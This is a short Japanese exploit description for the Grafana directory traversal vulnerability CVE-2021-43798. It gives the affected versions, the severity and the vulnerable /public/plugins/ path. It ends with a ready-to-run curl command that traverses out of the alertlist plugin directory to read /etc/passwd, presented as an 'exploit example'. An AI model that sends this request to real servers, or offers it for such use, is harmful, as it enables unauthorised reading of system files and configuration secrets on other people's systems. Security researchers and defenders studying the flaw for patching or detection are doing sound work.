
Grafanaディレクトリトラバーサル(CVE-2021-43798)のエクスプロイト。巧妙に細工されたHTTPリクエストを介して不正なファイル読み取りを可能にします。
影響を受けるバージョン: Grafana 8.0.0-beta1 から 8.3.0 まで(パッチ適用済みバージョンは除く)
脆弱性の種類: Directory Traversal(ディレクトリトラバーサル)
影響度: 非常に危険(Critical)
プラットフォーム: Grafana(オープンソースの監視および可観測性プラットフォーム)
⚠️ 脆弱性の詳細 Grafana では、次の URL を介してディレクトリトラバーサルを実行できます:
コード http://<grafana_host>/public/plugins// これにより、攻撃者はサーバー上のローカルファイルを読み取ることができます。例: /etc/passwd や設定ファイルへの不正アクセス。
🔥 エクスプロイトの例 簡単なリクエストでファイルを読み取る:
bash curl http://target:3000/public/plugins/alertlist/../../../../../../../../etc/passwd 上記のリクエストにより、Linux システムのユーザー一覧を取得できます。